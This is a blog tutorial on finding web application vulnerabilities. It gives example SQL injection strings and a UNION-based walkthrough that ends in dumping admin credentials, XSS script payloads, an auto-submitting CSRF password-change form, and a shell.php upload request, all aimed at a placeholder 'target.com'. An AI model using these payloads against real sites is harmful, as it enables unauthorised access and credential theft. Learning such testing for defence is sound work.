Friday, April 18, 2025

How to Find Vulnerabilities in Web Applications

Web applications are a prime target for cyberattacks due to their widespread use and potential security flaws. Identifying vulnerabilities in web apps is crucial for developers, security researchers, and ethical hackers to prevent exploitation. In this guide, we’ll explore common web application vulnerabilities, tools to detect them, and practical examples.



 Web Application Vulnerabilities

Before diving into detection methods, let’s review the most common vulnerabilities:

1. SQL Injection (SQLi)
2. Cross-Site Scripting (XSS)
3. Cross-Site Request Forgery (CSR
4. Broken Authentication & Session Management
5. Security Misconfigurations
6. Insecure Direct Object References (IDOR)
7. Server-Side Request Forgery (SSRF)
8. XML External Entity (XXE) Injection
9. File Upload Vulnerabilities
10.API Security Issues


Step-by-Step Guide to Finding Vulnerabilities


1. Reconnaissance & Information Gathering


Before testing, gather as much information as possible:
  • Subdomain Enumeration: Use tools like Sublist3r, Amass.
  • Port Scanning: Nmap helps identify open ports and services.
  • Web Technologies: Wappalyzer or BuiltWith detect frameworks (e.g., WordPress, Django).

Example:
nmap -sV target.com

2. Manual Testing for Common Vulnerabilities

A. SQL Injection (SQLi)

Description: Attackers inject malicious SQL queries to manipulate databases.

Testing:
  • Input ' OR 1=1 ' in login fields.
  • Use  SQLmap  for automated detection.
Example:
sqlmap -u "http://target.com/login?user=admin&pass=test" --dbs


B. Cross-Site Scripting (XSS)
Description: Malicious scripts execute in a victim’s browser.

Testing:

  • Inject `<script>alert(1)</script>`  in input fields.
  • Use Burp Suite or XSS Hunter.
Example:
http://target.com/search?q=<script>alert('XSS')</script>


C. CSRF (Cross-Site Request Forgery)

Description: Forces users to execute unwanted actions.

Testing:

  • Craft a fake form and check if the action executes without CSRF tokens.
  • Use Burp Suite’s CSRF PoC generator.

Example:

<form action="http://target.com/change-password" method="POST">
  <input type="hidden" name="new_password" value="hacked123">
</form>
<script>document.forms[0].submit();</script>

3. Automated Scanning Tools

Manual testing is effective, but automation speeds up the process:

  • Burp Suite  (Pro for active scanning)
  • OWASP ZAP (Free alternative to Burp)
  • Nikto   (Web server scanner)
  • Nessus   (Vulnerability assessment)

Example with OWASP ZAP:
1. Launch ZAP and configure the proxy.
2. Spider the target site.
3. Run an active scan.

4. API Security Testing

APIs are often vulnerable to:
  • Broken Object Level Authorization (BOLA)
  • Excessive Data Exposure
  • Injection Attacks
Tools:
  • Postman (Manual API testing)
  • OWASP API Security Testing Guide
  • Kiterunner  (API endpoint brute-forcing)

Example:
kr scan http://api.target.com -w routes.kite

5. File Upload Vulnerabilities

Testing

Upload a `.php` file and check if it executes.
Bypass filters using double extensions (`test.jpg.php`).

Example:
POST /upload HTTP/1.1
Content-Disposition: form-data; name="file"; filename="shell.php"

Real-World Exploitation Example: 
SQLi to Admin Access

1.Find a vulnerable parameter  (e.g., `?id=1`).

2. Test for SQLi:
http://target.com/profile?id=1' AND 1=1 -- 

3. Extract database info:
http://target.com/profile?id=1 UNION SELECT 1,2,3,table_name FROM information_schema.tables -- 

4.Dump admin credentials  and log in.


Best Practices

- Use parameterized queries to prevent SQLi.
- Implement  CSP (Content Security Policy) for XSS.
- Enable CSRF tokens.
- Regularly  update dependencies.

By understanding how to find vulnerabilities in web applications and implementing robust security measures, developers and security professionals can significantly reduce the risk of exploitation. Whether you are a developer looking to enhance the security of your applications or a security researcher aiming to identify potential threats, following the guidelines in this post will help you build more secure web applications. Engage with your peers in discussions about vulnerabilities, tools, and best practices to stay informed in this ever-evolving field.

No comments: